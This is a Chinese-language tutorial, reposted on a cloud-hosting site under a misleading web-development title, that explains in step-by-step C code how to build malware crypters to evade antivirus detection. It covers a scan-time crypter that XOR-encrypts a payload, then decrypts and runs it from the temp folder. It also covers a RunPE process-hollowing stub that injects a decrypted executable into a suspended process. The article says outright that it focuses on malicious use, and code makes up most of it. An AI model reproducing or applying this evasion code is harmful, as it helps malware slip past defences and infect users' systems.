您好,登錄后才能下訂單哦!
這篇文章主要介紹了web開發中加密技術的示例分析,具有一定借鑒價值,感興趣的朋友可以參考下,希望大家閱讀完這篇文章之后大有收獲,下面讓小編帶著大家一起了解一下。
當我們談起對于密碼學的印象時,我們經常會想到 "這是一種處理信息的手段,防止信息被泄露出去"。我們大多數人都把它看成是一種防御機制,其應用的目的在于確保信息的安全,阻止惡意的攻擊。當然,我們很清楚這一點,因為它被發明出來的唯一目的就是保護數據,然而,正如我們很快就會看到的那樣,密碼學的功能已經遠遠不止這些。
如果我們使用傳統的密碼學來進行惡意攻擊,即設計惡意軟件,利用密碼學提供的優勢。這些類型的惡意軟件在現代已經非常普遍,包括勒索軟件和非對稱后門等,它們主要涉及公鑰密碼學。
為了能夠設計出繞過殺毒軟件的方式,我們必須首先要明白殺毒軟件的殺毒方式。我將簡單介紹一下殺毒軟件檢測應用程序采用的兩種主要方法。
顧名思義,基于簽名的檢測是一種將應用程序的簽名與相應的已知惡意軟件的數據庫進行交叉參考匹配的技術。這是預防和遏制之前出現過的惡意軟件的有效措施。
雖然基于簽名的檢測可以防止大多數以前已知的惡意軟件,但它也有缺點,因為惡意軟件作者可以針對這種方法添加保護措施,如使用多態和變形代碼等。基于啟發式的檢測會監控應用程序的行為和特征,并將其與已知的惡意行為進行匹配。請注意,只有在應用程序正在運行的情況下才會進行這種檢測。
當然,殺毒軟件要比這個高級很多。由于這已經超出了文章討論的范圍,也超出了我的理解范圍,所以這里不會涉及這些信息。
加密器是被設計用來保護文件內部信息的軟件,并且在執行后,用解密程序提取后能夠完整地提供信息。請注意,雖然加密器可以被用于惡意目的,但它也主要用于混淆數據,防止對軟件逆向工程。在本文中,我們將重點討論惡意使用的情況。那么,這是如何工作的呢?讓我們先來了解密碼器的各部分,看一下它們的作用。
加密器負責對目標對象進行加密。
+-------------+ +-----------+ +-------------------+ +--------+ | Your file | -> | Crypter | => | Encrypted file | + | Stub | +-------------+ +-----------+ +-------------------+ +--------+
+------------------+ +--------+ +---------------+ | Encrypted file | + | Stub | = Execution => | Original File | +------------------+ +--------+ +---------------+
這些類型的加密器由于能夠加密磁盤上的數據而被稱為掃描時加密器,殺毒軟件可以對文件進行掃描,例如基于簽名的檢測。在這一階段,只要應用的混淆技術是足夠強大的,殺毒軟件將永遠無法檢測到任何惡意活動。
這些加密器將加密技術提升到了一個新的水平,能夠在內存中運行時根據需要對數據進行加密。通過這樣做,能夠使惡意軟件在殺毒軟件作出反應之前加載和執行。在這個階段,一個應用程序可以快速地運行它的有效載荷并達到它的目標。但是惡意軟件完全有可能在執行階段觸發殺毒軟件的基于啟發式的檢測策略,所以惡意軟件作者應該小心。
現在我們已經介紹了高層次的內容,那么我們就來看看這兩種類型的實例。
掃描時加密器是兩者中比較簡單的,因為它不需要虛擬內存和進程/線程的知識。本質上,stub會對文件進行處理,把它放到磁盤上的某個地方,然后執行它。下面記錄了一個掃描時加密器的設計。
注意:為了簡潔和可讀性,內容將不包含錯誤檢查。
1.檢查是否有命令行參數 +-> 2. 如果有命令行參數,則作為加密器對文件進行加密處理 | 3. 打開目標文件 | 4. 讀取文件內容 | 5. 對文件內容進行加密 | 6. 創建一個新文件 | 7. 將加密后的文件寫入新文件 | 8. 結束 | +-> 2. 如果沒有命令行參數,則作為stub 3. 打開加密文件 4. 讀取文件內容 5. 解密文件內容 6. 創建一個臨時文件 7. 將解密后的內容寫入臨時文件 8. 執行文件 9. 完成
這個設計方案在同一個可執行文件中同時實現了加密器和stub,我們可以這樣做,是因為這兩個操作非常相似。下面用代碼來介紹一下設計方案。
首先,我們需要定義main和兩個條件,這兩個條件定義了是執行加密器還是stub。
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc < 2) { // stub routine } else { // crypter routine } return EXIT_SUCCESS; }
由于我們將應用程序設計成了窗口應用程序,我們不能像通常基于控制臺的應用程序中那樣檢索 argc 和 argv,但是微軟提供了使用 argc 和 argv的解決方案。如果命令行參數 __argv[1] 存在,應用程序將嘗試對指定的文件進行加密,否則,它將嘗試解密一個被加密的文件。
接下來是加密程序,我們需要 __argv[1] 來指定文件的句柄和它的大小,這樣我們就可以把它的字節復制到一個緩沖區中進行加密。
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc < 2) { // stub routine } else { // crypter routine // open file to crypt HANDLE hFile = CreateFile(__argv[1], FILE_READ_ACCESS, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); // get file size DWORD dwFileSize = GetFileSize(hFile, NULL); // crypt and get crypted bytes LPVOID lpFileBytes = Crypt(hFile, dwFileSize); } return EXIT_SUCCESS; }
Crypt函數主要是將文件內容讀入到一個緩沖區中,然后對其進行加密,然后返回一個指向緩沖區的指針。
LPVOID Crypt(HANDLE hFile, DWORD dwFileSize) { // allocate buffer for file contents LPVOID lpFileBytes = malloc(dwFileSize); // read the file into the buffer ReadFile(hFile, lpFileBytes, dwFileSize, NULL, NULL); // apply XOR encryption int i; for (i = 0; i < dwFileSize; i++) { *((LPBYTE)lpFileBytes + i) ^= Key[i % sizeof(Key)]; } return lpFileBytes; }
現在我們有了加密的字節,我們需要創建一個新的文件,然后將這些字節寫入其中。
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc < 2) { // stub routine } else { // crypter routine ... // get crypted file name in current directory CHAR szCryptedFileName[MAX_PATH]; GetCurrentDirectory(MAX_PATH, szCryptedFileName); strcat(szCryptedFileName, "\\"); strcat(szCryptedFileName, CRYPTED_FILE); // open handle to new crypted file HANDLE hCryptedFile = CreateFile(szCryptedFileName, FILE_WRITE_ACCESS, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); // write to crypted file WriteFile(hCryptedFile, lpFileBytes, dwFileSize, NULL, NULL); CloseHandle(hCryptedFile); free(lpFileBytes); } return EXIT_SUCCESS; }
加密器部分差不多就是這些了。注意,我們使用了一個簡單的XOR來加密文件的內容,如果我們能夠獲得密鑰,這種方案的安全性可能是不夠的。如果我們想更加安全,我們可以使用其他的加密方案,如(x)TEA。我們不需要完整的加密算法,因為我們的目的是為了避免基于簽名的檢測,因此這么做完全是矯枉過正。保持文件小而簡單最重要。
讓我們繼續進入stub例程。對于stub程序,我們要檢索當前目錄下的加密文件,然后將解密后的內容寫入一個臨時文件中進行執行。
我們首先要得到當前的要處理的文件,然后打開文件,得到文件大小。
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc < 2) { // stub routine // get target encrypted file CHAR szEncryptedFileName[MAX_PATH]; GetCurrentDirectory(MAX_PATH, szEncryptedFileName); strcat(szEncryptedFileName, "\\"); strcat(szEncryptedFileName, CRYPTED_FILE); // get handle to file HANDLE hFile = CreateFile(szEncryptedFileName, FILE_READ_ACCESS, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); // get file size DWORD dwFileSize = GetFileSize(hFile, NULL); } else { // crypter routine } return EXIT_SUCCESS; }
和加密器例程差不多。接下來,我們要讀取文件內容,并得到解密后的字節。由于XOR操作恢復了給定的公共位的值,我們可以簡單地重用Crypt函數。之后,我們需要創建一個臨時文件,并將解密后的字節寫入其中。
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc < 2) { // stub routine ... // decrypt and obtain decrypted bytes LPVOID lpFileBytes = Crypt(hFile, dwFileSize); CloseHandle(hFile); // get file in temporary directory CHAR szTempFileName[MAX_PATH]; GetTempPath(MAX_PATH, szTempFileName); strcat(szTempFileName, DECRYPTED_FILE); // open handle to temp file HANDLE hTempFile = CreateFile(szTempFileName, FILE_WRITE_ACCESS, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); // write to temporary file WriteFile(hTempFile, lpFileBytes, dwFileSize, NULL, NULL); // clean up CloseHandle(hTempFile); free(lpFileBytes); } else { // crypter routine } return EXIT_SUCCESS; }
最后,我們需要執行解密后的應用程序。
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc < 2) { // stub routine ... // execute file ShellExecute(NULL, NULL, szTempFileName, NULL, NULL, 0); } else { // crypter routine } return EXIT_SUCCESS; }
請注意,一旦解密后的應用程序被寫入磁盤,它很有可能被殺毒軟件的基于簽名的檢測方式檢測出來,因此這樣有可能捕獲大多數的惡意軟件。正因為如此,惡意軟件的作者需要編寫即使他們的應用程序在這種情況下仍然能夠執行的功能。
掃描時加密器就到此為止。
對于運行時加密器,我的文章只涉及stub,因為它還包括更復雜的過程,所以我們將假設應用程序已經被加密。這些加密器使用一種叫做RunPE的流行技術。它的工作原理是stub先解密應用程序的加密字節,然后模擬Windows加載器,將它們推送到暫停進程的虛擬內存空間中。這個過程完成后,stub將把暫停的進程恢復運行。
注意:為了簡潔和可讀性,我將不包含錯誤檢查。
1. Decrypt application 2. Create suspended process 3. Preserve process's thread context 4. Hollow out process's virtual memory space 5. Allocate virtual memory 6. Write application's header and sections into allocated memory 7. Set modified thread context 8. Resume process 9. Finish
我們可以看到,這需要相當多的Windows內部知識,包括PE文件結構、Windows內存操作和進程/線程的知識。我強烈建議讀者在理解這些知識的基礎上來理解下面的材料。
首先,讓我們在main中設置兩個例程,一個用于解密被加密的應用程序,另一個用于將其加載到內存中執行。
APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { Decrypt(); RunPE(); return EXIT_SUCCESS; }
Decrypt函數實現方式完全依賴于用于應用程序的加密方式,這里是一個使用XOR的示例代碼。
VOID Decrypt(VOID) { int i; for (i = 0; i < sizeof(Shellcode); i++) { Shellcode[i] ^= Key[i % sizeof(Key)]; } }
現在,應用程序已經被解密,讓我們來看看神奇的地方。在這里,我們通過檢查DOS和PE簽名來驗證該應用程序是否是一個有效的PE文件。
VOID RunPE(VOID) { // check valid DOS signature PIMAGE_DOS_HEADER pidh = (PIMAGE_DOS_HEADER)Shellcode; if (pidh->e_magic != IMAGE_DOS_SIGNATURE) return; // check valid PE signature PIMAGE_NT_HEADERS pinh = (PIMAGE_NT_HEADERS)((DWORD)Shellcode + pidh->e_lfanew); if (pinh->Signature != IMAGE_NT_SIGNATURE) return; }
現在,我們將創建暫停的進程。
VOID RunPE(VOID) { ... // get own full file name CHAR szFileName[MAX_PATH]; GetModuleFileName(NULL, szFileName, MAX_PATH); // initialize startup and process information STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(si)); ZeroMemory(&pi, sizeof(pi)); // required to set size of si.cb before use si.cb = sizeof(si); // create suspended process CreateProcess(szFileName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); }
注意,szFileName可以是任何可執行文件的完整路徑,如explorer.exe或iexplore.exe,但在本例中,我們將使用stub的文件。CreateProcess函數將在暫停狀態下創建一個指定文件的子進程,這樣我們就可以根據自己的需要來修改它的虛擬內存內容。
VOID RunPE(VOID) { ... // obtain thread context CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL; GetThreadContext(pi.Thread, &ctx); }
現在我們清空進程的虛擬內存區域,這樣我們就可以為應用程序分配自己的運行空間。為此,我們需要一個函數,而這個函數對我們來說并不是現成的,因此我們需要一個函數指針,指向一個從ntdll.dll 文件中動態檢索內容的函數。
typedef NTSTATUS (*fZwUnmapViewOfSection)(HANDLE, PVOID); VOID RunPE(VOID) { ... // dynamically retrieve ZwUnmapViewOfSection function from ntdll.dll fZwUnmapViewOfSection pZwUnmapViewOfSection = (fZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection"); // hollow process at virtual memory address 'pinh->OptionalHeader.ImageBase' pZwUnMapViewOfSection(pi.hProcess, (PVOID)pinh->OptionalHeader.ImageBase); // allocate virtual memory at address 'pinh->OptionalHeader.ImageBase' of size `pinh->OptionalHeader.SizeofImage` with RWX permissions LPVOID lpBaseAddress = VirtualAllocEx(pi.hProcess, (LPVOID)pinh->OptionalHeader.ImageBase, pinh->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); }
由于被暫停的進程在其虛擬內存空間內有自己的內容,我們需要從內存中對它進行解映射,然后分配我們自己的內容,這樣我們就有訪問權限來加載我們的應用程序的映像。我們將通過WriteProcessMemory函數來實現。首先,我們需要像Windows加載器一樣,先寫頭文件,然后分別寫每個部分。這一部分需要對PE文件結構有一個全面的了解。
VOID RunPE(VOID) { ... // write header WriteProcessMemory(pi.hProcess, (LPVOID)pinh->OptionalHeader.ImageBase, Shellcode, pinh->OptionalHeader.SizeOfHeaders, NULL); // write each section int i; for (i = 0; i < pinh->FileHeader.NumberOfSections; i++) { // calculate and get ith section PIMAGE_SECTION_HEADER pish = (PIMAGE_SECTION_HEADER)((DWORD)Shellcode + pidh->e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * i); // write section data WriteProcessMemory(pi.hProcess, (LPVOID)(lpBaseAddress + pish->VirtualAddress), (LPVOID)((DWORD)Shellcode + pish->PointerToRawData), pish->SizeOfRawData, NULL); } }
現在一切就緒,我們只需修改上下文的切入點地址,然后恢復暫停的線程。
VOID RunPE(VOID) { ... // set appropriate address of entry point ctx.Eax = pinh->OptionalHeader.ImageBase + pinh->OptionalHeader.AddressOfEntryPoint; SetThreadContext(pi.hThread, &ctx); // resume and execute our application ResumeThread(pi.hThread); }
感謝你能夠認真閱讀完這篇文章,希望小編分享的“web開發中加密技術的示例分析”這篇文章對大家有幫助,同時也希望大家多多支持億速云,關注億速云行業資訊頻道,更多相關知識等著你來學習!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。